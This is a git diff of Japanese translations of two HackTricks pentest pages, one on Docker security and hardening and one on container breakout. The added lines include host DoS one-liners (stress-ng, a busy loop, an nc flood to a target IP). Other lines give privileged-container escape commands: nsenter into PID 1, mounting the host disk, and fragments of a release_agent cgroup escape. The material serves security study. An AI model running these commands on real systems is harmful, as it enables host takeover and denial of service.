Translated ['linux-hardening/privilege-escalation/docker-security/README

This commit is contained in:
Translator 2023-08-08 06:36:09 +00:00
parent 8611759ed9
commit 703b520bfb
2 changed files with 588 additions and 480 deletions

View file

@ -77,20 +77,24 @@ Note that we do not currently have vulnerability data for your image.
```bash ```bash
trivy -q -f json <ontainer_name>:<tag> trivy -q -f json <ontainer_name>:<tag>
``` ```
* [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
```
* [**`clair-scanner`**](https://github.com/arminc/clair-scanner) * [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
```bash ```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
``` ```
### Dockerイメージの署名 ### Dockerイメージの署名
Dockerコンテナイメージは、公開またはプライベートレジストリに保存することができます。イメージが改ざんされていないことを確認するために、コンテナイメージには署名が必要です。コンテンツの提供者は、コンテナイメージの署名とレジストリへのプッシュを管理します。 Dockerコンテナイメージは、公開またはプライベートレジストリに保存することができます。イメージが改ざんされていないことを確認するために、コンテナイメージには署名が必要です。コンテンツの発行者は、コンテナイメージの署名とレジストリへのプッシュを管理します。
以下は、Dockerコンテンツの信頼性に関する詳細です 以下は、Dockerコンテンツの信頼性に関する詳細です
- Dockerコンテンツの信頼性は、[Notaryオープンソースプロジェクト](https://github.com/docker/notary)の実装です。Notaryオープンソースプロジェクトは、[The Update Framework (TUF)プロジェクト](https://theupdateframework.github.io)に基づいています。 - Dockerコンテンツの信頼性は、[Notaryオープンソースプロジェクト](https://github.com/docker/notary)の実装です。Notaryオープンソースプロジェクトは、[The Update Framework (TUF)プロジェクト](https://theupdateframework.github.io)に基づいています。
- Dockerコンテンツの信頼性は、`export DOCKER_CONTENT_TRUST=1`で有効になります。Dockerバージョン1.10以降、コンテンツの信頼性はデフォルトで有効になっていません。 - Dockerコンテンツの信頼性は、`export DOCKER_CONTENT_TRUST=1`で有効になります。Dockerバージョン1.10以降、コンテンツの信頼性はデフォルトで有効になっていません。
- コンテンツの信頼性が有効になっている場合、署名されたイメージのみをプルすることができます。イメージをプッシュする際には、タグキーを入力する必要があります。 - コンテンツの信頼性が有効になっている場合、署名されたイメージのみをプルすることができます。イメージをプッシュする際には、タグキーを入力する必要があります。
- パブリッシャーが初めてdocker pushを使用してイメージをプッシュするときには、ルートキーとタグキーのパスフレーズを入力する必要があります。他のキーは自動的に生成されます。 - 発行者が初めてdocker pushを使用してイメージをプッシュする場合、ルートキーとタグキーのパスフレーズを入力する必要があります。他のキーは自動的に生成されます。
- Dockerは、Yubikeyを使用したハードウェアキーのサポートも追加しており、詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)で確認できます。 - Dockerは、Yubikeyを使用したハードウェアキーのサポートも追加しており、詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)で確認できます。
以下は、コンテンツの信頼性が有効になっており、イメージが署名されていない場合に表示されるエラーメッセージです。 以下は、コンテンツの信頼性が有効になっており、イメージが署名されていない場合に表示されるエラーメッセージです。
@ -118,7 +122,7 @@ cp ~/.ssh/id_rsa.pub /path/to/backup/location
cp ~/.ssh/known_hosts /path/to/backup/location cp ~/.ssh/known_hosts /path/to/backup/location
``` ```
これにより、プライベートキーと関連するファイルがバックアップされます。 これにより、プライベートキーと既知のホスト情報がバックアップされます。
```bash ```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
``` ```
@ -165,20 +169,20 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp** **Seccomp**
デフォルトでDockerには有効になっています。これにより、プロセスが呼び出すことができるシスコールをさらに制限するのに役立ちます。\ デフォルトでDockerには有効になっています。これにより、プロセスが呼び出すことができるシステムコールをさらに制限するのに役立ちます。\
デフォルトのDocker Seccompプロファイルは、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。 デフォルトのDocker Seccompプロファイルは、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。
**AppArmor** **AppArmor**
Dockerには、アクティベートできるテンプレートがあります[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) Dockerには、アクティベートできるテンプレートがあります[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
これにより、機能の制限、シスコール、ファイルとフォルダへのアクセスが制限されます... これにより、機能の制限、システムコール、ファイルとフォルダへのアクセスが制限されます...
</details> </details>
### Namespaces ### Namespaces
**Namespaces**は、Linuxカーネルの機能であり、一連の**プロセス**が一連の**リソース**を見る一方、別の一連の**プロセス**が異なる一連のリソースを見るようにカーネルリソースを分割します。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、これらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する場合があります。 **Namespaces**は、Linuxカーネルの機能であり、一連の**プロセス**が一連の**リソース**を見る一方、別の一連の**プロセス**が異なる一連のリソースを見るようにカーネルリソースを分割する機能です。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、これらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する場合があります。
Dockerは、コンテナの分離を実現するために、次のLinuxカーネルのNamespacesを使用しています Dockerは、コンテナの分離を実現するために、次のLinuxカーネルのNamespacesを使用しています
@ -196,8 +200,8 @@ Dockerは、コンテナの分離を実現するために、次のLinuxカーネ
### cgroups ### cgroups
Linuxカーネルの機能である**cgroups**は、一連のプロセスに対してCPU、メモリ、IO、ネットワーク帯域幅などのリソースを制限する機能を提供します。 Dockerでは、cgroup機能を使用してリソース制御が可能なコンテナを作成することができます。\ Linuxカーネルの機能である**cgroups**は、一連のプロセスに対してCPU、メモリ、IO、ネットワーク帯域幅などのリソースを制限する機能を提供します。Dockerでは、cgroup機能を使用してリソース制御を行うことができるコンテナを作成することができます。\
以下は、ユーザースペースのメモリを500mに制限し、カーネルメモリを50mに制限し、CPUシェアを512に設定し、blkioweightを400に設定したコンテナの例です。 CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。 CPUリソースの競合が発生した場合、3つのコンテナが同じCPUシェア1024を持っている場合、各コンテナは最大33%のCPUを使用できます。 blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。 以下は、ユーザースペースのメモリを500mに制限し、カーネルメモリを50mに制限し、CPUシェアを512に設定し、blkioweightを400に設定したコンテナの例です。CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。CPUリソースの競合が発生した場合、3つのコンテナが同じCPUシェア1024を持っている場合、各コンテナは最大33%のCPUを使用できます。blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。
``` ```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
``` ```
@ -215,7 +219,7 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
### Capabilities ### Capabilities
Capabilitiesは、rootユーザーに許可される機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します。 Capabilitiesは、rootユーザーに許可される可能性のある機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します。
Dockerコンテナが実行されると、プロセスは分離から脱出するために使用できる機能を削除します。これにより、プロセスが機密なアクションを実行して脱出することができないようになります。 Dockerコンテナが実行されると、プロセスは分離から脱出するために使用できる機能を削除します。これにより、プロセスが機密なアクションを実行して脱出することができないようになります。
@ -223,27 +227,27 @@ Dockerコンテナが実行されると、プロセスは分離から脱出す
[linux-capabilities.md](../linux-capabilities.md) [linux-capabilities.md](../linux-capabilities.md)
{% endcontent-ref %} {% endcontent-ref %}
### DockerSeccomp ### DockerにおけるSeccomp
これは、Dockerがコンテナ内で使用できるシスコールを制限するセキュリティ機能です。 これは、コンテナ内で使用できるシスコールを制限するセキュリティ機能です。
{% content-ref url="seccomp.md" %} {% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md) [seccomp.md](seccomp.md)
{% endcontent-ref %} {% endcontent-ref %}
### DockerAppArmor ### DockerにおけるAppArmor
AppArmorは、カーネルの拡張機能であり、コンテナを制限されたリソースとパープログラムプロファイルのセットに制約します。 AppArmorは、カーネルの拡張機能であり、コンテナを制限されたリソースのセットに制約するためのプログラムごとのプロファイルを提供します。
{% content-ref url="apparmor.md" %} {% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md) [apparmor.md](apparmor.md)
{% endcontent-ref %} {% endcontent-ref %}
### DockerSELinux ### DockerにおけるSELinux
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は、ラベリングシステムです。すべてのプロセスとすべてのファイルシステムオブジェクトにはラベルがあります。SELinuxポリシーは、システム上の他のすべてのラベルとプロセスラベルが許可される操作に関するルールを定義します。 [SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は、ラベリングシステムです。すべてのプロセスとすべてのファイルシステムオブジェクトにはラベルがあります。SELinuxポリシーは、システム上の他のすべてのラベルとプロセスラベルが許可される操作に関するルールを定義します。
コンテナエンジンは、通常`container_t`という単一の制約されたSELinuxラベルでコンテナプロセスを起動し、コンテナ内のコンテナを`container_file_t`というラベルで設定します。SELinuxポリシールールは基本的に、`container_t`プロセスが`container_file_t`とラベル付けされたファイルのみを読み取り/書き込み/実行できるということを示しています。 コンテナエンジンは、通常`container_t`という単一の制約付きSELinuxラベルでコンテナプロセスを起動し、コンテナ内のコンテナを`container_file_t`というラベルでラベル付けします。SELinuxポリシールールは基本的に、`container_t`プロセスが`container_file_t`とラベル付けされたファイルを読み取り/書き込み/実行できるということを示しています。
{% content-ref url="../selinux.md" %} {% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md) [selinux.md](../selinux.md)
@ -257,11 +261,27 @@ AppArmorは、カーネルの拡張機能であり、コンテナを制限され
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %} {% endcontent-ref %}
## おもしろいDockerフラグ ## コンテナからのDoS
コンテナが使用できるリソースを適切に制限していない場合、侵害されたコンテナは実行されているホストをDoS攻撃する可能性があります。
* CPU DoS
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
* バンド幅 DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## Dockerの興味深いフラグ
### --privilegedフラグ ### --privilegedフラグ
次のページでは、`--privileged`フラグが何を意味するかを学ぶことができます。 次のページでは、**`--privileged`フラグが意味するもの**について学ぶことができます:
{% content-ref url="docker-privileged.md" %} {% content-ref url="docker-privileged.md" %}
[docker-privileged.md](docker-privileged.md) [docker-privileged.md](docker-privileged.md)
@ -271,9 +291,9 @@ AppArmorは、カーネルの拡張機能であり、コンテナを制限され
#### no-new-privileges #### no-new-privileges
低特権ユーザーとしてアクセスを取得した攻撃者が実行されているコンテナがある場合、ミス構成されたsuidバイナリを持つと、攻撃者はコンテナ内で特権をエスカレートさせる可能性があります。これにより、攻撃者はコンテナから脱出することができるかもしれません 特権ユーザーとしてアクセスを取得した攻撃者が実行中のコンテナがある場合、**誤って設定されたsuidバイナリ**を悪用して、コンテナ内で特権をエスカレートする可能性があります。これにより、攻撃者はコンテナから脱出することができます
`no-new-privileges`オプションを有効にしてコンテナを実行すると、この種の特権エスカレーションを防ぐことができます **`no-new-privileges`**オプションを有効にしてコンテナを実行すると、このような特権エスカレーションを**防ぐことができます**
``` ```
docker run -it --security-opt=no-new-privileges:true nonewpriv docker run -it --security-opt=no-new-privileges:true nonewpriv
``` ```
@ -387,12 +407,12 @@ file: ./my_secret_file.txt
* Dockerデーモンを公開する場合は、クライアントとサーバーの認証にHTTPSを使用してください。 * Dockerデーモンを公開する場合は、クライアントとサーバーの認証にHTTPSを使用してください。
* Dockerfileでは、ADDの代わりにCOPYを使用してください。ADDは自動的にzipファイルを展開し、URLからファイルをコピーすることができます。COPYにはこれらの機能がありません。可能な限り、リモートURLやZipファイルを介した攻撃に対して脆弱にならないように、ADDの使用を避けてください。 * Dockerfileでは、ADDの代わりにCOPYを使用してください。ADDは自動的にzipファイルを展開し、URLからファイルをコピーすることができます。COPYにはこれらの機能がありません。可能な限り、リモートURLやZipファイルを介した攻撃に対して脆弱にならないように、ADDの使用を避けてください。
* 各マイクロサービスには**個別のコンテナ**を使用してください。 * 各マイクロサービスには**個別のコンテナ**を使用してください。
* コンテナ内に**sshを配置しないでください**。コンテナへのsshは「docker exec」を使用して行うことができます。 * コンテナ内にsshを配置しないでください。コンテナへのsshは「docker exec」を使用して行うことができます。
* **より小さな**コンテナ**イメージ**を使用してください。 * **より小さな**コンテナ**イメージ**を使用してください。
## Dockerの脱獄/特権エスカレーション ## Dockerの脱獄/特権エスカレーション
もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱獄して特権をエスカレーション**することができます もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱獄して特権をエスカレーション**することができます:
{% content-ref url="docker-breakout-privilege-escalation/" %} {% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) [docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
@ -400,7 +420,7 @@ file: ./my_secret_file.txt
## Docker認証プラグインのバイパス ## Docker認証プラグインのバイパス
もしdockerソケットにアクセス権限があるか、**dockerグループのユーザーにアクセス権限があるが、docker認証プラグインによって制限されている場合**、それを**バイパス**できるかどうかを確認してください もしdockerソケットにアクセス権限があるか、**dockerグループのユーザーあるが、docker認証プラグインによって制限されている場合**、それを**バイパス**できるかどうかを確認してください:
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -409,13 +429,13 @@ file: ./my_secret_file.txt
## Dockerのハードニング ## Dockerのハードニング
* ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の数十の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\ * ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の数十の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\
ツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。実行方法については、READMEを参照してください[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 ツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。実行方法については、READMEを参照してください: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
## 参考文献 ## 参考文献
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https:// * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!

View file

@ -7,7 +7,7 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
@ -22,8 +22,8 @@
## 自動列挙と脱出 ## 自動列挙と脱出
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): これは**コンテナを列挙**することもできま * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): コンテナの列挙も可能で
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、現在のコンテナを列挙し、自動的に脱出を試みるのに非常に**便利**で * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、現在のコンテナを列挙するのに非常に便利であり、自動的に脱出を試みることもできま
* [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ特権を取得するための便利なツールで、脱出方法を見つけることができます * [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ特権を取得するための便利なツールで、脱出方法を見つけることができます
* [**deepce**](https://github.com/stealthcopter/deepce): コンテナの列挙と脱出のためのツール * [**deepce**](https://github.com/stealthcopter/deepce): コンテナの列挙と脱出のためのツール
* [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得します * [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得します
@ -55,7 +55,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
予期しない場所に**dockerソケット**がある場合は、パラメータ**`-H unix:///path/to/docker.sock`**を使用して**`docker`**コマンドを使用してそれと通信することができます。 予期しない場所に**dockerソケット**がある場合は、パラメータ**`-H unix:///path/to/docker.sock`**を使用して**`docker`**コマンドを使用してそれと通信することができます。
{% endhint %} {% endhint %}
Dockerデーモンは、[デフォルトでポート(2375、2376でリスニングすることもあります](../../../../network-services-pentesting/2375-pentesting-docker.md)。また、Systemdベースのシステムでは、Dockerデーモンとの通信はSystemdソケット`fd://`を介して行われる場合があります。 Dockerデーモンは、[ポート(デフォルトでは2375、2376でリスニングすることもあります](../../../../network-services-pentesting/2375-pentesting-docker.md)。また、Systemdベースのシステムでは、Dockerデーモンとの通信はSystemdソケット`fd://`を介して行われる場合があります。
{% hint style="info" %} {% hint style="info" %}
さらに、他のハイレベルランタイムのランタイムソケットにも注意してください: さらに、他のハイレベルランタイムのランタイムソケットにも注意してください:
@ -72,11 +72,11 @@ Dockerデーモンは、[デフォルトでポート2375、2376でリス
コンテナのcapabilitiesをチェックする必要があります。以下のいずれかのcapabilitiesがある場合、それから脱出することができるかもしれません**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`** コンテナのcapabilitiesをチェックする必要があります。以下のいずれかのcapabilitiesがある場合、それから脱出することができるかもしれません**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**
現在のコンテナのcapabilitiesは、**前述の自動ツール**または以下を使用して確認できます: 現在のコンテナのcapabilitiesは、**前述の自動ツール**または次のコマンドを使用して確認できます:
```bash ```bash
capsh --print capsh --print
``` ```
以下のページでは、**Linuxの機能について詳しく学び**、それらを悪用して特権を逃れたり特権をエスカレートさせたりする方法について学ぶことができます 以下のページでは、Linuxの機能について詳しく学び、それらを悪用して特権を逃れたり特権をエスカレートさせたりする方法について学ぶことができます
{% content-ref url="../../linux-capabilities.md" %} {% content-ref url="../../linux-capabilities.md" %}
[linux-capabilities.md](../../linux-capabilities.md) [linux-capabilities.md](../../linux-capabilities.md)
@ -84,7 +84,7 @@ capsh --print
## 特権コンテナからの脱出 ## 特権コンテナからの脱出
特権コンテナは、`--privileged`フラグを使用するか、特定の防御を無効にすることで作成できます 特権コンテナは、`--privileged`フラグを使用するか、特定の防御を無効にすることで作成できます
* `--cap-add=ALL` * `--cap-add=ALL`
* `--security-opt apparmor=unconfined` * `--security-opt apparmor=unconfined`
@ -96,7 +96,7 @@ capsh --print
* `--cgroupns=host` * `--cgroupns=host`
* `Mount /dev` * `Mount /dev`
`--privileged`フラグは、重大なセキュリティ上の懸念を引き起こし、このフラグを有効にした状態でDockerコンテナを起動することによってエスカレートすることができます。このフラグを使用すると、コンテナはすべてのデバイスに完全なアクセス権を持ち、seccomp、AppArmor、およびLinuxの機能による制限がありません。`--privileged`の効果については、以下のページで**すべての効果を読む**ことができます: `--privileged`フラグは、重大なセキュリティ上の懸念を引き起こし、このフラグを有効にした状態でDockerコンテナを起動することによってエスケープを行います。このフラグを使用すると、コンテナはすべてのデバイスに完全なアクセス権を持ち、seccomp、AppArmor、およびLinuxの機能の制限がありません。`--privileged`の効果については、次のページで詳しく説明されています。
{% content-ref url="../docker-privileged.md" %} {% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md) [docker-privileged.md](../docker-privileged.md)
@ -104,7 +104,7 @@ capsh --print
### 特権 + hostPID ### 特権 + hostPID
これらの権限を持つ場合、単に`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`を実行することで、rootとしてホストで実行されているプロセスpid:1の名前空間に移動することができます。 これらの権限を持つ場合、単に`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`を実行することで、ホストでrootとして実行されているプロセスinit、pid:1の名前空間に移動することができます。
コンテナでテストしてみてください。 コンテナでテストしてみてください。
```bash ```bash
@ -114,22 +114,22 @@ docker run --rm -it --pid=host --privileged ubuntu bash
特権フラグを使用するだけで、ホストのディスクにアクセスしたり、release_agentや他のエスケープを悪用して脱出を試みることができます。 特権フラグを使用するだけで、ホストのディスクにアクセスしたり、release_agentや他のエスケープを悪用して脱出を試みることができます。
以下のバイパスをコンテナで実行してテストしてください。 以下のバイパスをコンテナでテストしてください。
```bash ```bash
docker run --rm -it --privileged ubuntu bash docker run --rm -it --privileged ubuntu bash
``` ```
#### ディスクのマウント - Poc1 #### ディスクのマウント - Poc1
適切に設定されたDockerコンテナでは、**fdisk -l**のようなコマンドは許可されません。ただし、誤った設定のDockerコマンドでは、`--privileged`フラグまたは`--device=/dev/sda1`フラグと共にキャップスが指定されている場合、ホストドライブを表示するための特権を取得することが可能です。 適切に設定されたDockerコンテナでは、**fdisk -l**のようなコマンドは許可されません。ただし、誤って設定されたDockerコマンドで、`--privileged`フラグまたは`--device=/dev/sda1`フラグが指定されている場合、ホストドライブを表示するための特権を取得することができます。
![](https://bestestredteam.com/content/images/2019/08/image-16.png) ![](https://bestestredteam.com/content/images/2019/08/image-16.png)
したがって、ホストマシンを乗っ取るためには、以下の手順を実行します: したがって、ホストマシンを乗っ取ることは簡単です。
```bash ```bash
mkdir -p /mnt/hola mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola mount /dev/sda1 /mnt/hola
``` ```
そして、できあがり!ホストのファイルシステムにアクセスできるようになりました。これは、`/mnt/hola`フォルダにマウントされているためです。 そして、できあがり!ホストのファイルシステムにアクセスできるようになりました。これは、`/mnt/hola`フォルダにマウントされていす。
#### ディスクのマウント - Poc2 #### ディスクのマウント - Poc2
@ -154,9 +154,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger) ### debugfs (Interactive File System Debugger)
debugfs /dev/sda1 debugfs /dev/sda1
``` ```
#### 既存のrelease\_agentを悪用した特権エスケープ[cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)- PoC1 #### 特権エスケープ既存のrelease\_agentの悪用[cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)- PoC1
{% code title="初期PoC" %} {% code title="初期PoC" %}
```bash ```bash
# spawn a new container to exploit via: # spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash # docker run --rm -it --privileged ubuntu bash
@ -236,7 +236,19 @@ cat /output
``` ```
{% endcode %} {% endcode %}
以下は、ハッキング技術に関する本のコンテンツです。以下のコンテンツは、/hive/hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md ファイルからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、ペンテスト、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 **技術の説明**は以下で見つけることができます:
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %}
#### プライビリージエスケープ - 相対パスを知らないで release\_agent を悪用する - PoC3
以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが漏洩**していました。しかし、常にそうではありません。ホスト内のコンテナの**絶対パスがわからない場合**には、この技術を使用できます:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
{% endcontent-ref %}
```bash ```bash
#!/bin/sh #!/bin/sh
@ -324,9 +336,9 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
... ...
``` ```
